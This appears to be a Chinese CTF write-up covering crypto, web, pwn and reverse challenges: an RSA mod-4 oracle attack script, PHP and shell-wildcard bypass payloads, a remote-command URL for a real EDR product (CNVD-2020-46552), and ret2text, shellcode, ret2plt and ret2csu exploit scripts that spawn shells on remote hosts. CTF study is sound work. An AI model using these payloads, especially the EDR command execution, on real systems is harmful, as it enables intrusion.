           - 求 t_i = M_i 在模 p_i 下的逆元，即 M_i * t_i ≡ 1 (mod p_i)
           - 累加 x += r_i * t_i * M_i
        3. 返回 x % M （确保结果在 [0, M) 范围内）
    """
    # reduce 逐步计算所有模数的乘积
    M = reduce(lambda x, y: x * y, moduli)
    total = 0
    for r_i, p_i in zip(remainders, moduli):
        M_i = M // p_i                      # 除去当前模数的部分
        # 使用 Crypto.Util.number 中的 inverse 计算模逆元
        t_i = inverse(M_i, p_i)
        total += r_i * t_i * M_i
    return total % M


def get_oracle_data(r):
    # 发送菜单选项 "1" 以获取一次泄露
    r.sendlineafter(b"> ", b"1")
    response = r.recvline().decode().strip()

    # 正则表达式：
    #   - "flag mod " 后跟一个十六进制数（[0-9a-fA-F]+）
    #   - 然后固定字符串 " (in hex) : "
    #   - 再跟另一个十六进制数
    pattern = r"flag mod ([0-9a-fA-F]+) \(in hex\) : ([0-9a-fA-F]+)"
    match = re.search(pattern, response)

    if match:
        mod_hex = match.group(1)   # 模数的十六进制字符串
        res_hex = match.group(2)   # 余数的十六进制字符串
        return int(mod_hex, 16), int(res_hex, 16)
    else:
        raise ValueError(f"无法解析服务器返回的数据: {response}")


def pwn_start():
    # 建立 TCP 连接
    r = remote(HOST, PORT)

    if not solve_pow(r):
        r.close()
        return

    # ---------- 2. 收集同余方程组数据 ----------
    # 已知 flag m < 2^512，每个泄露的模数是 64 位素数（≈ 2^64）
    # 由 CRT 要求：所有模数的乘积 M > m，这样恢复出的唯一解就是原明文
    # 乘法位数累加：log2(M) ≈ Σ log2(p_i) ≈ 64 * k
    # 需要 64 * k ≥ 512 => k ≥ 8。此处取 8 次即可
    required_queries = 8
    moduli = []          # 存储模数 p_i
    remainders = []      # 存储余数 r_i

    log.info(f"开始收集 Oracle 数据，共需 {required_queries} 组...")
    for i in range(required_queries):
        p_i, r_i = get_oracle_data(r)
        moduli.append(p_i)
        remainders.append(r_i)
        log.info(f"[#{i+1}] 模数(64位): {hex(p_i)} | 余数: {hex(r_i)}")

    log.info("数据收集完毕，正在执行中国剩余定理求解...")
    flag_numeric = chinese_remainder_theorem(remainders, moduli)

    flag = long_to_bytes(flag_numeric)
    print("\n" + "=" * 40)
    log.success(f"成功恢复 Flag 原始明文:")
    # 使用 errors='ignore' 避免可能存在的非 UTF-8 字节导致解码异常
    print(flag.decode(errors='ignore'))
    print("=" * 40 + "\n")

    # 发送菜单选项 "2" 正常退出
    r.sendlineafter(b"> ", b"2")
    r.close()


if __name__ == "__main__":
    pwn_start()

parityOracle（LSB Oracle Attack）

传统的 LSB Oracle 每次泄露 1 个比特，而本题的 Oracle 每次泄露 2 个比特

1
2
3
4
5
6
7
# 关键约束
while p*q%4-3:
    p, q = getPrime(1024), getPrime(1024)
...
# Oracle 行为
result = pow(cip, self.d, self.n) % 4
self.send(hex(result)[2:].encode())

这段代码暴露了两个致命的问题：

  • 循环条件确保了 p × q mod 4 ≠ 3 时不断重试，直到 p × q mod 4 == 3。也就是说，该分发实例中的 RSA 模数 n ≡ 3 (mod 4)

  • 用户输入任意密文 cip，服务端用私钥 d 将其解密为 m'，但只返回 m' mod 4 的值（结果为 0, 1, 2, 3 中的一个）

第一轮交互（i=1）的完整代数推导

我们向服务器发送构造密文 c1 = c * 4^e (mod n)。下面是服务器内部解密并取模的完整步骤

步骤 1：解密同态变换

服务器计算 m1 ≡ (c1)^d (mod n)。将 c1 的定义代入：

1
m1 ≡ (c * 4^e)^d (mod n)

根据模幂的积同态性质 (A * B)^d ≡ A^d * B^d (mod n)，将指数 d 分配进去：

1
m1 ≡ (c^d) * (4^e)^d (mod n)

因为 c ≡ m^e (mod n)，所以 c^d ≡ m^(e*d)

同理 (4^e)^d ≡ 4^(e*d)。代入上式得到：

1
m1 ≡ m^(e*d) * 4^(e*d) (mod n)

又因为 m^(e·d) = m^(1 + k·φ(n)) = m · (m^φ(n))^k ≡ m · 1^k = m (mod n)

所以得到 m1 ≡ m * 4 (mod n)

步骤 2：消除模运算

根据模运算的定义，若 A ≡ B (mod n)，则必然存在一个整数 k，使得 A = k*n + B。这里将 A = 4m，B = m1 代入，得到：

1
4m = k1 * n + m1

步骤 3：限定 k1 的取值范围

已知明文边界为：0 ≤ m < n

不等式各项同时乘以 4：0 ≤ 4m < 4n

将步骤 2 的等式 4m = k1*n + m1 代入上式中间：

1
0 ≤ k1*n + m1 < 4n

因为 m1 是模 n 的余数，所以必然满足 0 ≤ m1 < n。为了让上述不等式成立，整数 k1 只能在以下集合中取值：

1
k1 ∈ {0, 1, 2, 3}

步骤 4：两边同时取模 4

将步骤 2 的等式 4m = k1*n + m1 两边同时进行 (mod 4) 运算：

1
4m (mod 4) = (k1*n + m1) (mod 4)

由于 4m 显然是 4 的倍数，所以 4m (mod 4) = 0。左边化简为 0：

1
0 ≡ k1*n + m1 (mod 4)

移项，将 m1 孤立在等式一边

1
m1 ≡ -k1 * n (mod 4)

步骤 5：代入服务器特有条件 n ≡ 3 (mod 4)

已知条件中 n ≡ 3 (mod 4)，在模 4 运算中，3 ≡ -1 (mod 4)。因此我们可以把 n 替换为 -1：

将 n ≡ -1 代入步骤 4 结尾的方程中：

1
2
3
m1 ≡ -k1 * (-1) (mod 4)

m1 ≡ k1 (mod 4)

步骤 6：建立预言机输出与 k1 的等价关系

预言机返回的结果定义为 R1 = m1 (mod 4)。根据步骤 5 的结论，m1 (mod 4) = k1 (mod 4)

由于我们在步骤 3 中已经严格证明了 k1 ∈ {0,1,2,3}，且预言机返回值 R1 也必然在 {0,1,2,3} 之间。两个位于 [0,3] 区间内的整数如果模 4 同余，则它们必然严格相等：

1
R1 = k1

任意一轮（第 i 轮）的递推数学证明

在第 i 轮，我们发送 ci = c * (4^i)^e (mod n)，解密得到：

1
Xi ≡ 4^i * m (mod n)

写成等式形式：

1
4^i * m = Ki * n + Xi   (0 ≤ Xi < n)

我们同样将上一轮（第 i-1 轮）的等式列出来：

1
4^(i-1) * m = K_(i-1) * n + X_(i-1)   (0 ≤ X_(i-1) < n)

步骤 1：寻找上下两轮之间的递推关系

我们将第 i-1 轮的等式两边同时乘以 4：

1
4 * (4^(i-1) * m) = 4 * (K_(i-1) * n + X_(i-1))

左边合并幂次，右边展开括号：

1
4^i * m = 4K_(i-1) * n + 4X_(i-1)

现在，我们单独对 4X_(i-1) 这一项进行除以 n 的操作，假设其余数为 Xi，不完全商为 k'

1
4X_(i-1) = k' * n + Xi

由于 0 ≤ X_(i-1) < n，同理可得这个局部商的范围也是：

1
k' ∈ {0, 1, 2, 3}

将 4X_(i-1) = k'*n + Xi 代入上面展开的递推式中

1
4^i * m = 4K_(i-1) * n + (k'*n + Xi)

提取公因数 n

1
4^i * m = (4K_(i-1) + k') * n + Xi

步骤 2：对比系数

对比本节开头的定义式 4^i * m = Ki * n + Xi，由于余数 Xi 具有唯一性，我们可以直接对应出 n 的系数相等：

1
Ki = 4K_(i-1) + k'

步骤 3：对总商 Ki 取模 4

将上式两边同时 (mod 4)：

1
Ki (mod 4) = (4K_(i-1) + k') (mod 4)

由于 4K_(i-1) 是 4 的倍数，模 4 为 0，因此式子化简为

1
Ki ≡ k' (mod 4)

因为 k' ∈ {0,1,2,3}，所以：

1
Ki (mod 4) = k'

步骤 4：计算预言机回显与 k' 的关系

第 i 轮预言机收到的解密结果是 Xi，它返回 Ri = Xi (mod 4)。根据本节开头定义式 4^i * m = Ki * n + Xi，变形可得

1
Xi = 4^i * m - Ki * n

两边同时取模 4

1
Xi (mod 4) = (4^i * m - Ki * n) (mod 4)

由于 i ≥ 1，4^i * m (mod 4) = 0。式子化简为

1
Xi ≡ -Ki * n (mod 4)

再次代入 n ≡ -1 (mod 4)

1
Xi ≡ -Ki * (-1) ≡ Ki (mod 4)

将步骤 3 的结论 Ki ≡ k' (mod 4) 代入上式

1
Xi ≡ k' (mod 4)

因为 Ri = Xi (mod 4)，且 Ri 和 k' 都在 [0,3] 范围内，所以它们严格相等

1
Ri = k'

最终递推结论：第 i 轮预言机返回的 Ri，正是 4X_(i-1) 除以 n 的商 k'。也就是说，它反应的是上一轮的余数 X_(i-1) 落在 n 的哪一个四分之一区间内

既然知道了 Ri = k' = floor(4X_(i-1) / n)，我们就可以据此来对明文真实空间 [lower, upper] 实施精准切分。根据 k' 的值，上一轮的余数空间被划分为四个区间：

  • 当 k' = 0 时：0 ≤ 4X_(i-1) < n => X_(i-1) ∈ [0, n/4)

  • 当 k' = 1 时：n ≤ 4X_(i-1) < 2n => X_(i-1) ∈ [n/4, 2n/4)

  • 当 k' = 2 时：2n ≤ 4X_(i-1) < 3n => X_(i-1) ∈ [2n/4, 3n/4)

  • 当 k' = 3 时：3n ≤ 4X_(i-1) < 4n => X_(i-1) ∈ [3n/4, n)

映射回当前动态维护的明文全局边界 [lower, upper]，其物理跨度为 W = upper - lower。我们将这个跨度四等分，每一份的权重为 (upper - lower) / 4

  • 当 rev == 0 (k'=0)，说明真实值位于当前区间的第一个四分之一。下界不变：lower = lower。上界缩减：upper = lower + 1 * (upper - lower) // 4

  • 当 rev == 1 (k'=1)，说明真实值位于当前区间的第二个四分之一。下界右移：lower = lower + 1 * (upper - lower) // 4。上界左移：upper = lower + 2 * (upper - lower) // 4

  • 当 rev == 2 (k'=2)，说明真实值位于当前区间的第三个四分之一。下界右移：lower = lower + 2 * (upper - lower) // 4。上界左移：upper = lower + 3 * (upper - lower) // 4

  • 当 rev == 3 (k'=3)，说明真实值位于当前区间的第四个四分之一。上界不变：upper = upper。下界右移：lower = lower + 3 * (upper - lower) // 4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
import hashlib
import string
import re
from Crypto.Util.number import long_to_bytes

# 设置日志级别为 info，如果需要看底层原始交互数据可改为 'debug'
context.log_level = 'info'

# 目标服务器配置
HOST = "127.0.0.1"
PORT = 10001

def solve_pow(r):
    """
    自动化求解工作量证明 (Proof of Work)
    """
    try:
        r.recvuntil(b"sha256(XXXX+")
        suffix = r.recvuntil(b")", drop=True).decode()
        r.recvuntil(b"== ")
        target = r.recvline().strip().decode()
        
        log.info(f"PoW 挑战参数 -> 后缀: {suffix}, 目标哈希: {target}")
        
        alphabet = string.ascii_letters + string.digits
        prefix = util.iters.mbruteforce(
            lambda x: hashlib.sha256((x + suffix).encode()).hexdigest() == target,
            alphabet, 
            4, 
            'exact'
        )
        
        log.success(f"成功爆破出 PoW 前缀: {prefix}")
        r.sendlineafter(b"Give me XXXX: ", prefix.encode())
        return True
    except Exception as e:
        log.error(f"PoW 爆破失败: {e}")
        return False

def get_oracle_mod4(r, cipher_int):
    """
    与服务端交互，利用 Modulo-4 Oracle 获取解密明文的最后 2 个比特
    """
    # 选择菜单 1. decrypt
    r.sendlineafter(b"> ", b"1")
    
    # 发送十六进制格式的密文
    cipher_hex = hex(cipher_int)[2:].encode()
    r.sendlineafter(b"Your cipher (in hex): ", cipher_hex)
    
    # 接收预言机返回的单行结果 (0, 1, 2, 3)
    response = r.recvline().decode().strip()
    return int(response, 16)

def pwn_start():
    # 建立网络连接
    r = remote(HOST, PORT)
    
    # 1. 绕过验证码
    if not solve_pow(r):
        r.close()
        return

    # 2. 接收初始化 RSA 公钥与目标密文
    try:
        r.recvuntil(b"e = ")
        e = int(r.recvline().decode().strip())
        r.recvuntil(b"n = ")
        n = int(r.recvline().decode().strip())
        r.recvuntil(b"c = ")
        c = int(r.recvline().decode().strip())
        
        log.success(f"成功获取公钥与密文:")
        log.info(f"n 的模数位长: {n.bit_length()} bits")
        log.info(f"验证特殊条件 (n % 4): {n % 4} (预期应为 3)")
        assert n % 4 == 3, "模数 n 不满足定理条件 n ≡ 3 (mod 4)！"
    except Exception as e:
        log.error(f"公钥/密文解析异常: {e}")
        r.close()
        return

    # 3. 初始化四分查找的全局物理边界
    # 明文 m 必然处于 [0, n] 之间
    lower = 0
    upper = n
    i = 1  # 放大因子指数

    log.info("开始执行基于 Modulo-4 Oracle 的四分查找...")
    
    # 进度条初始化（2048位模数，每次恢复2位，约需1024次）
    progress = log.progress("明文空间逼近进度")

    # 当区间宽度小于 2 时停止收敛
    while (upper - lower) >= 2:
        progress.status(f"当前区间跨度: {upper - lower}")
        
        # 构造选择密文: c' = c * (4^i)^e 
        # 根据同态性，这会在解密时将明文放大 4^i 倍： m' = m * 4^i
        power = pow(4, i, n)
        chosen_c = (pow(power, e, n) * c) % n
        
        # 获得本轮放大后对应的商数（当前真实值落在上一轮空间的哪个四分之一区间）
        rev = get_oracle_mod4(r, chosen_c)
        
        # 暂存当前边界快照，以防计算公式时上下界互相污染
        old_upper = upper
        old_lower = lower
        
        # 严格执行前文推导的四分搜索状态机
        if rev == 0:
            # 落在第 1 个四分之一区间: [lower, lower + W/4]
            upper = (3 * old_lower + old_upper) // 4
        elif rev == 1:
            # 落在第 2 个四分之一区间: [lower + W/4, lower + 2W/4]
            upper = (old_lower + old_upper) // 2
            lower = (3 * old_lower + old_upper) // 4
        elif rev == 2:
            # 落在第 3 个四分之一区间: [lower + 2W/4, lower + 3W/4]
            upper = (old_lower + 3 * old_upper) // 4
            lower = (old_lower + old_upper) // 2
        elif rev == 3:
            # 落在第 4 个四分之一区间: [lower + 3W/4, upper]
            lower = (old_lower + 3 * old_upper) // 4
        else:
            log.error(f"预言机异常返回非法值: {rev}")
            break
            
        i += 1  # 步进到下一个 4 的更高幂次

    progress.success("区间收敛完毕！")
    log.info(f"收敛结束。最终下界 (lower): {lower}")

    # 4. 消除整数除法带来的截断误差（边界微调）
    log.info("正在对收敛边界邻域进行精确匹配校验...")
    found = False
    # 在最终下界附件上下 100 整数范围内做精确的 RSA 加密比对
    for candidate in range(lower - 100, lower + 100):
        if pow(candidate, e, n) == c:
            flag = long_to_bytes(candidate)
            print("\n" + "="*50)
            log.success("成功完美恢复 Flag 原始明文:")
            print(flag.decode('utf-8', errors='ignore'))
            print("="*50 + "\n")
            found = True
            break
            
    if not found:
        log.error("未能在边界邻域内匹配到有效明文，请检查推导公式截断行为。")

    # 安全关闭连接
    r.sendlineafter(b"> ", b"2")
    r.close()

if __name__ == "__main__":
    pwn_start()

Web

？？？？（Shell 通配符绕过）

打开页面提示输入 yulige 获得 flag

但是前端限制了只能输入 4 字符，右键改源代码删掉

提交按钮被禁用了，删掉 disable 属性

提交后给出提示

访问过去给出了黑名单源码

1
if(preg_match("/[A-Za-ko-z0-9]+/", $cmd))

它唯独漏掉了三个小写字母：l、m、n

1
$blacklist = "~!@#%^$&\/*()（）<>《》-_{}[]'/\":,";

同样漏掉了空格、?、.

所以我们可以利用 nl 这个命令读取文件，其文件名采用正则的形式代替

1
2
#   nl fl4g_is_here.php
cmd=nl ?l??????????.???

robots（robots.txt）

访问 /robots.txt 给出了一个路径，继续访问拿到 flag

view source（源代码泄露）

F12 即可

get&post（HackBar）

根据源代码构造参数即可

wh1sper’s_secret_garden（UA + Referer + XFF 绕过）

提示需要修改 UA 头为 wh1sper

改完后提示改 Referer

完了又提示需要本地访问，改 XFF 头

成功拿到 flag

read flag（签到）

考察 Linux 命令

just_login（签到）

访问 phpinfo.php

intval（正则表达式换行匹配 + intval 绕过）

拿到源码后先分析

1
2
3
4
if($_GET['0xGame'] !== '20201001' && preg_match('/^20201001$/',$_GET['0xGame']))
   echo 'Good job!'.'<br>';
else
   die('Think it over!');

  • 条件一：$_GET['0xGame'] !== '20201001'

    • 使用的是强类型不等于

  • 条件二：preg_match('/^20201001$/', $_GET['0xGame'])

    • 要求传入的值必须匹配正则表达式 /^20201001$/

看起来这两个条件是互斥的，但这里利用了 PHP PCRE 正则表达式的特性

在默认情况下，正则表达式中的锚点 $ 不仅匹配字符串的末尾，还会匹配字符串末尾的换行符（\n）

所以我们传入 20201001%0a，接下来看第二关

1
2
3
4
5
$id=intval($_GET['id']);
if($_GET['id'] != 1024 && $id === 1024)
   echo 'Congratulations!'.'<br>'.$flag;
else
   die('Work harder!');

  • 条件一：$_GET['id'] != 1024

    • 使用的是弱类型不等于

  • 条件二：$id === 1024

    • 使用的是强类型等于

这里考察的是 intval() 函数的处理机制以及 PHP 在处理 !=（弱类型比较）时的数字转换

intval() 的特性：当转换一个字符串时，它会从字符串的开头开始解析，直到遇到非数字字符为止（小数点 . 也是非数字字符）

  • 例如：intval('1024.1') 的结果是整数 1024

  • 例如：intval('1024abc') 的结果也是整数 1024

构造 Payload

1
?0xGame=20201001%0a&id=1024abc

edr（CNVD-2020-46552）

参考复现博客：https://www.sqlsec.com/2020/08/edr.html

查看 IP 地址，浏览器直接访问即可访问到前端登录界面

漏洞代码在 /tool/log/c.php 处，首先 $show_form 接受用户输入请求

跟进这个函数，发现是经典的 extract 变量覆盖 ，参数值完全可控

1
2
3
4
5
6
7
8
9
10
11
<?php
$show_form = function($params) use(&$strip_slashes, &$show_input) {
    // extract() 默认行为是 EXTR_OVERWRITE，会无条件覆盖同名变量
    extract($params);

    $host = isset($host) ? $strip_slashes($host) : "127.0.0.1";
    $path = isset($path) ? $strip_slashes($path) : "";
    $row = isset($row) ? $strip_slashes($row) : "";
    $limit = isset($limit) ? $strip_slashes($limit) : 1000;
};
?>

所以最终可以构造如下 Payload

1
2
3
4
https://xxx.xxx.xx.xx/tool/log/c.php?strip_slashes=system&host=id
https://xxx.xxx.xx.xx/tool/log/c.php?strip_slashes=system&path=id
https://xxx.xxx.xx.xx/tool/log/c.php?strip_slashes=system&row=id
https://xxx.xxx.xx.xx/tool/log/c.php?strip_slashes=system&limit=id

Pwn

欢迎来到 0xGame 平台（签到）

直接 nc 即可

帮我取一个题目名称（Ret2text）

没开金丝雀，read 函数读取大小为 64 字节

变量 s 距离 r 处是 0x28 个字节

后门函数地址是 0x0401162

1
2
3
4
5
6
7
from pwn import *

p = process('./main')
p = remote('49.232.142.230', 11228)

p.sendafter("?",b'A' * 0x28 + p64(0x401162))
p.interactive()

该怎么起名呢（Shellcode）

没开金丝雀

mprotect 的第三个参数 7 代表 RWX 权限，从指针 buf 向前偏移 16 字节 的地址开始，长度为 4096 字节

((buf + 32))(); 表示 buf + 0x20 处会被当成函数调用执行

所以填充垃圾数据覆盖到这个位置再插入 shellcode

1
2
3
4
5
6
7
from pwn import *
p = process('./main')
context.arch = 'AMD64'
p = remote('49.232.142.230', 11777)

p.sendlineafter('shellcode', b'A'*0x20 + asm(shellcraft.sh()))
p.interactive()

variable overlap（变量覆盖）

保护全开

"%lld" 表示：读取一个 long long 类型整数（64 位有符号整数，也就是 8 字节）

v4 变量在栈中的布局是 var_14

v5 则是 var_10，相差了 4 字节

在 x86/x64 架构下，数据是以小端序存储的，即：低位字节存放在低地址，高位字节存放在高地址

0x2333 作为一个 8 字节的数，完整的十六进制表达是：0x0000000000002333

如果直接输入，则 v4 的内容变成了 0x00002333，v5 的内容变成了 0x00000000

所以要倒过来输入

1
2
3
4
5
from pwn import *
p = remote('49.232.142.230', 13379)

p.sendlineafter('number', str(0x233300000000))
p.interactive()

easy stack（Ret2text）

没有金丝雀

后门函数地址

nc 过去先看看回显什么

开局给了后门函数地址

找到打印的第二句话的位置

观察变量 s 的栈布局

离 r 处有 0x88 + 0x4 的距离，但是 read 函数给了 0x100 的长度，完全够溢出 

1
2
3
4
5
6
7
8
9
from pwn import*
p = remote('49.232.142.230', 19539)

p.recvuntil('magic_address ') # 有空格
shell = int(p.recv(10),16)
log.info('Shell:\t' + hex(shell))

p.send(b'A' * 0x8C  + p32(shell))
p.interactive()

0xPwn（Ret2plt）

没开金丝雀以及 PIE

开局要先输入一个内容存放在 &unk_804C00C

BSS 段不可执行代码，位置是 0x0804C00C

函数 sub_8049192() 中存在栈溢出

溢出大小是 140 字节

因为没有给后门函数，所以思路是调用 _system() 函数，参数放在 BSS 段

注意：如果该内存区域紧接着有残留的垃圾数据（比如 AAAA...），系统函数去读取时，就会把它们当成一个整体，试图去执行 /bin/shAAAA...。这会导致系统找不到该命令而报错

所以我们需要加上 \x00 截断

在 32 位架构中，绝大多数 Linux 程序采用的是 cdecl 调用约定，32 位程序完全通过栈来传递函数参数

当一个正常的 32 位程序使用 call 指令调用函数时，栈的布局必须严格满足以下顺序（从低地址到高地址）：

  • 函数的入口地址（触发调用）

  • 函数的返回地址（函数执行完后，下一条指令去哪）

  • 函数的参数 1

  • 函数的参数 2 …

在打 Pwn 时，如果没有要返回的地址，则默认填 0

1
2
3
4
5
6
7
8
from pwn import *

system_addr = 0x08049050
p = remote('49.232.142.230', 15421)

p.sendafter('argument?','/bin/sh\x00')
p.sendlineafter('Name',b'A' * 140 + p32(system_addr) + p32(0) +p32(0x0804C00C))
p.interactive()

Pwn题滞销,帮帮我好吗_（Ret2csu）

代码只有两行

进入 sub_401132() 函数，看不出来啥问题

查看伪代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
push    rbp             ; 保存父函数的栈底（Old RBP）
mov     rbp, rsp        ; 建立当前函数的栈底
sub     rsp, 20h        ; 在栈上只开辟了 0x20（32 字节）的空间

mov     rsi, rsp        ; 参数 2 (buf)：把刚刚开辟的栈顶地址，作为写入数据的起点
mov     rdi, 0          ; 参数 1 (fd)：0 代表标准输入
mov     rdx, 100h       ; 参数 3 (count)：允许读入多达 0x100（256 字节）

mov     rbx, 0          ; \
push    rbx             ; 这三行连招的最终目的：让 RAX = 0
pop     rax             ; /   （0 号系统调用 = sys_read 读入函数）

syscall    ; 触发系统调用

add     rsp, 20h        ; 恢复栈指针，释放之前开辟的 32 字节空间
nop        ; 空指令，用于内存对齐
pop     rbp             ; 恢复父函数栈底
retn       ; 执行返回：弹出栈顶数据到 RIP

使用 Pwndbg 动态调试，pwn cyclic 生成垃圾数据

rsi 寄存器在伪代码中为参数 buf 的地址，值为 0x7fffffffda80

rsp 寄存器指向返回地址，值为 0x7fffffffdaa8

我们用这两个真实的动态地址做一下减法，得到要覆盖的垃圾数据为 40 个字节

因为没有后门，所以我们需要调用 syscall 并让系统去执行 execve("/bin/sh", 0, 0)

为了启动这个 syscall，Linux 规定了死命令，必须提前在寄存器里摆好参数：

  • rax 寄存器里必须是 59（调用 execve 函数）

  • rdi 寄存器里必须是 "/bin/sh" 字符串的内存地址

  • rsi 寄存器里必须是 0

  • rdx 寄存器里必须是 0

我们可以利用程序里的残余指令，比如 pop rdi; ret。但是查了一遍没给，可惜可惜

先来计算 /bin/sh 的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
地址        | 字符
--------------------
0x402004   | [
           | !
           | ]
           |  (空格)
           | C
           | a
           | n
           |  (空格)
           | U
           |  (空格)
           | G
           | e
           | t
           |  (空格)
           | t
           | h
           | e
           |  (空格)
--------------------
共计 18 个字符

所以起始地址就是 0x402016

虽然常规的 pop rdi 没了，但只要是 C 语言编译的程序，系统都会默认自带一个初始化功能，叫 __libc_csu_init

在 __libc_csu_init 函数的尾部，躺着两段连续的汇编指令

1
2
3
4
5
6
7
.text:0x4011F2    pop     rbx       ; 弹出给 rbx
.text:0x4011F3    pop     rbp       ; 弹出给 rbp
.text:0x4011F4    pop     r12       ; 弹出给 r12
.text:0x4011F6    pop     r13       ; 弹出给 r13
.text:0x4011F8    pop     r14       ; 弹出给 r14
.text:0x4011FA    pop     r15       ; 弹出给 r15
.text:0x4011FC    retn              ; 弹回栈顶地址继续执行
1
2
3
4
5
6
7
.text:0x4011D8    mov     rdx, r14
.text:0x4011DB    mov     rsi, r13
.text:0x4011DE    mov     edi, r12d
.text:0x4011E1    call    qword ptr [r15+rbx*8]
.text:0x4011E5    add     rbx, 1
.text:0x4011E9    cmp     rbp, rbx
.text:0x4011EC    jnz     short loc_4011D8

思路如下：

  • pop rbx：这里的结果会影响到最后的 call qword ptr [r15+rbx*8]，因为 r15 本身就由我们控制。选择填 0，这样就直接调用 r15 指向的函数

  • pop rbp：这里的结果会影响到后面的 cmp rbp, rbx，再判断之前就已经 add rbx, 1 了，所以要填入 1，不然会重新循环

  • pop r12：这里的结果会影响到后面的 mov edi, r12d，edi 就是 rdi，填入 /bin/sh 地址

  • pop r13：这里的结果会影响到后面的 mov rsi, r13，也就是 execve("/bin/sh", 0, 0) 第二个参数，填 0

  • pop r14：同理，这里是第三个参数，填 0

  • pop r15：这里的结果会影响到后面的 call qword ptr [r15+rbx*8]，因为 call 必须得给一个真实的函数地址，否则会报错。我们选择 alarm，调用它只是定个闹钟

1
2
3
4
5
6
7
8
9
payload = b'A' * 40              # 垃圾数据填满栈空间
payload += p64(0x4011F2)         # 进入 pop 段
payload += p64(0)                # pop rbx = 0
payload += p64(1)                # pop rbp = 1 (为了 1==1 破循环)
payload += p64(bin_sh)           # pop r12 -> 将送给 edi (参数 1)
payload += p64(0)                # pop r13 -> 将送给 rsi (参数 2)
payload += p64(0)                # pop r14 -> 将送给 rdx (参数 3)
payload += p64(alarm_got)        # pop r15 -> 作为 call 目标
payload += p64(0x4011D8)        # 完成参数搬运与 call

到跳转到 0x4011D8 处时，执行过程如下

  • rdx 与 rsi 为 0，rdi 为 /bin/sh 地址

  • call alarm，r15 被填充为了 alarm 函数地址

  • 比较 rbp 和 rbx，相等则进去进入 0x4011EE 中执行

1
2
3
4
5
6
7
8
.text:0x4011EE    add     rsp, 8
.text:0x4011F2    pop     rbx
.text:0x4011F3    pop     rbp
.text:0x4011F4    pop     r12
.text:0x4011F6    pop     r13
.text:0x4011F8    pop     r14
.text:0x4011FA    pop     r15
.text:0x4011FC    retn

这样又进入了 pop 段中，但是我们已经不需要了，所以填充垃圾数据进去

1
payload += p64(0) * 7  # 抵消掉这 1 个 add 和 6 个 pop 的干扰

此时来到了最后的 .text:0x4011FC retn 处，我们劫持

1
2
payload += p64(pop_rax_syscall)
payload += p64(59)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *

context.arch = 'amd64'
elf = ELF('./main')
io = remote('49.232.142.230', 11962)

gadget_1 = 0x4011F2              # CSU 尾部的 pop 区域入口
gadget_2 = 0x4011D8              # CSU 中部的 mov/call 区域入口
bin_sh_addr = 0x402016           # "/bin/sh" 字符串首地址
alarm_got = elf.got['alarm']     # 闹钟函数的 GOT 真实地址

pop_rax_syscall = 0x401153

payload = b'A' * 40
payload += p64(gadget_1)
payload += p64(0)
payload += p64(1)
payload += p64(bin_sh_addr)
payload += p64(0)
payload += p64(0)
payload += p64(alarm_got)
payload += p64(gadget_2)        

payload += p64(0) * 7           

payload += p64(pop_rax_syscall) 
payload += p64(59)

io.sendline(payload)
io.interactive()

Reverse

签到（签到）

Shift + F12 发现 flag

壳（UPX）

识别出 UPX 壳，直接脱壳

IDA 打开即可

py 一下（PYC 反编译）

反编译看到是异或加密，再异或回去即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import py_compile
from base64 import *

check = [
    48, 121, 101, 98, 105, 96, 125, 97,
    101, 112, 115, 84, 96, 126, 81, 123,
    39,  34,  77,  42, 36, 113, 73,  39,
    126, 70, 106, 108, 114, 96, 19
]

input1 = raw_input('plz input your flag: ')

if len(check) != len(input1):
    print 'wrong'

result = []
for i in range(len(input1)):
    result.append(ord(input1[i]) ^ i)

if check == result:
    print 'right'
else:
    print 'wrong'

得到 flag

1
flag{myy_ls_l73_50b_0f_pwv}

easybit（位运算）

反编译

Flag 的绝对长度必须是 30 位 (v6 == 30)，否则直接输出 out of length 并退出

1
2
3
4
scanf("%50s", Str);
v6 = strlen(Str);
...
if ( v6 == 30 )

在比较之前，程序对输入的每个字符都进行了如下循环处理

1
2
for ( i = 0; i < v6; ++i )
  Str[i] = (Str[i] >> 3) ^ (32 * Str[i]);

32 * Str[i] 实际上等价于 Str[i] << 5，因为 32 = 2^5

假设 i = 3

1
2
3
4
5
6
7
3 的二进制： 0000 0011
3 * 32 = 96

3 << 5：
  0000 0011   （原值）
  ↓ 左移5位，右侧补0
  0110 0000   = 96

对于一个 8 位的字节来说，右移 3 位和左移 5 位，它们异或的结果就是循环右移 3 位

  • 原始：[A, B, C, D, E, F, G, H]

  • 右移三位：[D, E, F, G, H, 0, 0, 0]

  • 左移五位：[0, 0, 0, 0, 0, A, B, C]

  • 异或：[D, E, F, G, H, A, B, C]

IDA 中查看 check[] 数组的值

解题脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
check_data = [
    6, 15, 236, 44, 173, 172, 111, 78, 102, 235,
    38, 110, 235, 206, 172, 78, 230, 235, 141, 205,
    142, 102, 78, 172, 110, 142, 45, 205, 39, 175
]

def decrypt_flag(cipher_bytes):
    flag = ""
    for enc in cipher_bytes:
        # Python 的整数是无限精度的，它不会自动丢弃高位，所以需要 & 0xFF 来只保留最后面的 8 位
        orig_char = ((enc << 3) ^ (enc >> 5)) & 0xFF
        flag += chr(orig_char)
    
    print(f"[+] 还原成功: {flag}")

if __name__ == "__main__":
    decrypt_flag(check_data)

解方程（Z3 定理证明器）

观察 v5[0] 到 v5[27] 的计算公式，看似有 28 行非常冗长，但如果我们切块来看，会发现极其显著的对称规律：

  • 分组：28 个字符被平均分成了 4 组，每组 7 个字符

    • 第一组：Str[0] 到 Str[6] 对应 v5[0] 到 v5[6]

